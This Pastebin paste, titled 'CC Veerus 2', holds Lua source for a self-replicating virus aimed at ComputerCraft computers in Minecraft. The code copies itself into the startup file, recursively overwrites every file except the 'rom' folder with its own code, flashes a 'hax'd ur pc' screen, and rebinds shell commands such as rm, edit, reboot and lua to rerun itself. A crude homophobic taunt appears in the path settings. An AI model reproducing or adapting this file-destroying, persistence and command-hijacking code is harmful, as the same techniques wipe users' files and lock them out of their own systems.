Advertisement
Guest User

CC Veerus 2

a guest
Jul 21st, 2017
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.92 KB | None | 0 0
  1.  
  2. local w, h = term.getSize()
  3.  
  4. function disPlace()
  5. shell.clearAlias("ls")
  6. shell.clearAlias("dir")
  7. shell.clearAlias("cp")
  8. shell.clearAlias("mv")
  9. shell.clearAlias("rm")
  10. shell.setAlias("ls", "startup")
  11. shell.setAlias("dir", "startup")
  12. shell.setAlias("cp", "startup")
  13. shell.setAlias("mv", "startup")
  14. shell.setAlias("rm", "startup")
  15. shell.setAlias("list", "startup")
  16. shell.setAlias("edit", "startup")
  17. shell.setAlias("reboot", "startup")
  18. shell.setAlias("shutdown", "startup")
  19. shell.setAlias("lua", "startup")
  20. shell.setAlias("delete", "startup")
  21. shell.setAlias("help", "startup")
  22. shell.setPath("your mum gay")
  23. shell.setDir("your mum gay")
  24. end
  25.  
  26. function printCentered(y, s)
  27. term.setCursorPos(w / 2 - string.len(s) / 2, y)
  28. write(s)
  29. end
  30.  
  31. function payload()
  32. local payLoadCharacters = {0, 1, "|", "-", "+"}
  33. for i=1,50000 do
  34. os.queueEvent("randomEvent")
  35. os.pullEvent()
  36. term.setCursorPos(math.random(1, w), math.random(1, h))
  37. local index = math.random(1, table.getn(payLoadCharacters))
  38. write(payLoadCharacters[index])
  39. printCentered(h / 2, "david just hax'd ur pc xdddddddd")
  40. end
  41. sleep(5)
  42. term.clear()
  43. term.setCursorPos(1, 1)
  44. print("Infected "..os.version())
  45. end
  46.  
  47. function infectDir(Directory, Injection)
  48. local sDir = shell.dir()
  49. sDir = shell.resolve( Directory )
  50. local tAll = fs.list( sDir )
  51. local tFiles = {}
  52. local tDirs = {}
  53. for n, sItem in pairs( tAll ) do
  54. if string.sub( sItem, 1, 1 ) ~= "." then
  55. local sPath = fs.combine( sDir, sItem )
  56. if fs.isDir( sPath ) then
  57. table.insert( tDirs, sItem )
  58. else
  59. table.insert( tFiles, sItem )
  60. end
  61. end
  62. end
  63. table.sort( tDirs )
  64. table.sort( tFiles )
  65.  
  66. for i=1,table.getn(tFiles) do
  67. local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  68. filewritex.write(Injection)
  69. filewritex.close()
  70. end
  71. for i=1,table.getn(tDirs) do
  72. if tDirs[i] ~= "rom" then
  73. infectDir(Directory.."/"..tDirs[i], Injection)
  74. end
  75. end
  76.  
  77. end
  78.  
  79. local virusread = fs.open(shell.getRunningProgram(), "r")
  80. local viruscode = virusread.readAll()
  81. virusread.close()
  82.  
  83. local filewritev = fs.open("startup", "w")
  84. filewritev.write(viruscode)
  85. filewritev.close()
  86.  
  87. infectDir("", viruscode)
  88.  
  89. if fs.exists("EOF") == false then
  90. payload()
  91. fs.makeDir("EOF")
  92. end
  93.  
  94. disPlace()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement